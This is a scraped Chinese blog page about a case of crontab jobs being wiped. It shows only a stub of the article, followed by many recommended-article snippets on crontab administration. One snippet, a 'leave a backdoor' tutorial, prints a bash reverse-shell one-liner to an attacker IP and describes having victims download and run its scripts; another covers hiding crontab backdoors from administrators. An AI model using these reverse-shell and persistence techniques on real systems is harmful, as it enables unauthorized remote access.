一起诡异的Crontab事件定位-所有计划任务被意外清空

诡异Crontab事件
最新推荐文章于 2023-11-28 15:01:22 发布
原创 最新推荐文章于 2023-11-28 15:01:22 发布 · 663 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文记录了一次所有计划任务被意外清空的诡异Crontab事件，并提供了几个关于Crontab管理和备份的相关链接。
liNewman
关注
密码弱到爆？等保 2.0 教你把 Linux 打造成“铁壁堡垒”！
大模型大数据攻城狮的专栏
08-13 450
再强的防御也有失守的时候，备份是你的“最后防线”。等保 2.0 要求建立完善的备份策略，确保数据可恢复，业务不中断。别等到勒索软件找上门才后悔没备份！
LINUX中使用cron定时任务被隐藏，咋回事？
有莘不破的博客
04-17 1312
LINUX中使用cron定时任务被隐藏的一则安全小案例
一起诡异的Crontab事件定位 - 所有计划任务被意外清空
weixin_34352449的博客
05-26 198
一起诡异的Crontab事件定位 - 所有计划任务被意外清空今天，我接到了一位同事的电话，说有一个严重的问题需要处理，“所有的Crontab计划任务都被人清空了”。我立刻问有没有备份，回答是“可能没有”。这样一来，情况就变得非常紧急了，因为我们每天在跑的计划任务有上百条。于是我登陆到服务器，检查了所有相关的日志，最后终于找到了事故的原因，并且恢复了Crontab计划任务。事故...
cron意外消失事件
weixin_30249203的博客
10-09 548
起因是一件诡异的事情，Linux服务器上的cron意外消失了，查看了操作日志，并没有对cron进行编辑的命令出现。大多是sudo crontab -l，或者不小心敲错了的sudo crond，sudo crontab... 等等，好像有不对的地方，不小心敲下crontab 之后，会好长时间没有反应，我懒得等待，就强制退出了。然后渡过了一个漫长的假期，回到公司，登录Linux，敲下 cronta...
使用Crontab创建定时事件
qq_43936524的博客
03-28 167
ubuntu中查看cron日志的命令 grep cron /var/log/syslog 将默认日志改为/var/log/cron的方法 vi /etc/rsyslog.d/50-default.conf 重启rsyslog,重启cron service rsyslog restart service cron restart 设置定时事件流程 1.crontab 命令参数 crontab -u 用户 -e 执行文字编辑器来设定时程表 -r 删除时刻表 2.定时事件格式 * *
centos linux 下crontab -e 命令插入及保存
lychao89的专栏
12-08 1443
root身份登录到命令行 输入crontab -e 按下a键进入到编辑模式 输入 0 */1 * * * /home/work/start-service.sh 同时按下ctrl+c退出编辑模式 按下shift+: 输入wq 退出 crontab
Crontab
程序媛小小平的博客
11-07 847
01 Crontab Linux中，定期执行程序的命令，精确到分，秒的话需要自己手动写脚本。 Cron Job：被周期性执行的任务 Cron Table：被周期性执行的列表。 日志文件: ll /var/log/cron* 编辑文件：vim /etc/crontab 进程：ps -ef | grep crond ==> /etc/init.d/crond restart...
记一次线上bug：crontab 被意外清空
楠少博客
07-04 1441
同事反馈，某台服务器的crontab被清空了.看了cron这一时刻被替换掉了，后续就没有任务执行了。然后紧急恢复备份，并从日志中检查遗漏项。产生的操作，弄明白了，但是原理还是没搞明白。定时备份。在卡住时，不要中断，先备份，在停止掉。
【Shell脚本编写入门】：掌握自动化任务脚本实现的必备技能
最后，通过案例分析，展示了Shell脚本在自动化备份、部署工具、日志分析等系统管理任务中的实际应用和效果。本文为读者提供了一个从理论到实践的系统性指导，旨在提高系统管理员和开发者的脚本编写能力，增强自动化...
定期备份策略：MySQL计划、执行与监控的黄金法则
![定期备份策略：MySQL计划、执行与监控的黄金法则]...备份能够在数据被意外删除、遭受恶意攻击或系统故障时，为数据恢复提供可能性。它保障了数据的可恢复性，是数据库维护的基石。一个完备的备份计
linux学习34-运维自动化之ANSIBLE
你的微笑像茉莉的博客
09-30 894
运维自动化术语 On-Premises：本地部署，购买服务器，搭机房，构建系统，开发应用程序，维护全都自己做，对企业负担比较重 iaas：基础设施即服务，服务器租用，使用供应商的基础硬件 Paas：平台即服务，只需要开发自己的应用程序，复制维护就可以 SaaS：软件即服务 运维工程师的核心职能 平台架构组建 日常运营保障 性能、效率优化 发布的过程 蓝绿发布 灰度（金丝雀）发布 Ansibl...
Linux中使用crontab自动清除日志
04-01
Linux中使用crontab自动清除日志，Linux中使用crontab自动清除日志，Linux中使用crontab自动清除日志
LINUX留后门--教程（五）—— crontab隐藏后门
W小哥
07-08 4283
2.3 留crontab隐藏后门 好不容易拿下一个网站，以后还想继续使用该系统，通常都会留下一些后门，本次我们留下一个crontab隐藏后门 我们把1.sh、2.sh 文件放在本地搭建的web服务上，让受害者去下载执行 1.sh文件内容 #!/bin/bash bash -i >& /dev/tcp/192.168.184.145/5555 0>&1 反弹shell到IP地址：192.168.184.145 2.sh文件内容 (crontab -l;printf "* * *
crontab 定时任务失效的解决方法
weixin_42957379的博客
03-18 2684
1、查看crontab的错误日志 /var/log/crontab (root) FAILED to authorize user with PAM (Authentication token is no longer valid; new one required) 2、发现是认证过期 3、 chage -l root 4、最长天数为90天 可以把它改为永久99999 chage -M ...
crontab 被内容清空
wayuan的专栏
11-26 6767
转载：http://zhang41082.itpub.net/post/7167/505262 某个业务因为系统事件跟标准时间相差太大，挂了，排查下来发现凶手是因为CRONTAB中设置的定时任务消失导致，而这个定时任务干的活就是定期进行时间同步。开始怀疑是谁手工把定时任务干掉了，但是排查日志发现现象很诡异，询问所有有机器访问权限的人，没有人修改过这个咚咚。 /var/log/cro
【创建和排查隐藏进程和隐藏计划任务】
weixin_46356409的博客
11-28 3568
创建隐藏进程和隐藏计划任务：隐藏进程：在Windows中，隐藏进程主要通过修改进程属性或使用第三方工具实现。在这个示例中，我们创建了一个新的PowerShell作业，该作业启动了一个隐藏的记事本进程。隐藏计划任务：使用Windows任务计划程序创建计划任务时，可以设置任务为隐藏。排查隐藏进程和隐藏计划任务：排查隐藏进程：要查找隐藏进程，可以使用任务管理器、命令提示符或PowerShell。这个命令将列出所有没有主窗口句柄的进程，这可能包括隐藏的进程。但请注意，这也可能包括正常的后台进程。
linux隐藏你的crontab后门
渗透测试教程
03-08 1022
crontab定时后门 ​ crontab是用来定期执行程序的命令，crond 命令每分钟会定期检查是否有要执行的工作，如果有要执行的工作便会自动执行该工作。 ​ 注意: 新创建的 cron 任务，不会马上执行，至少要过 2 分钟后才可以，当然你可以重启 cron 来马上执行 ​ 比如我们通过redis写crontab后，管理员上线 执行crontab -l 就会查看到我们留下的可疑命令。那么我们如果躲避管理员的查看呢？ ​ 其实 crontab -l 是查看保存在这里 /var/spool/cron
crontab定时执行任务命令详解及crontab 误删除恢复
热门推荐
勿念旧梦
04-13 1万+
一  cron服务详解在LINUX中，周期执行的任务一般由cron这个守护进程来处理[ps -ef|grep cron]。cron读取一个或多个配置文件，这些配置文件中包含了命令行及其调用时间。cron的配置文件称为“crontab”，是“cron table”的简写。1、cron服务　　cron是一个linux下 的定时执行工具，可以在无需人工干预的情况下运行作业。　　service crond...
清空crontab任务
最新发布
07-30
清空Linux系统中的cron定时任务（crontab）通常涉及到编辑crontab配置文件。在终端里，你可以通过以下步骤来清空当前用户的crontab： 1. 打开终端并输入命令 `crontab -e`。这将打开默认的文本编辑器（通常是vim...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值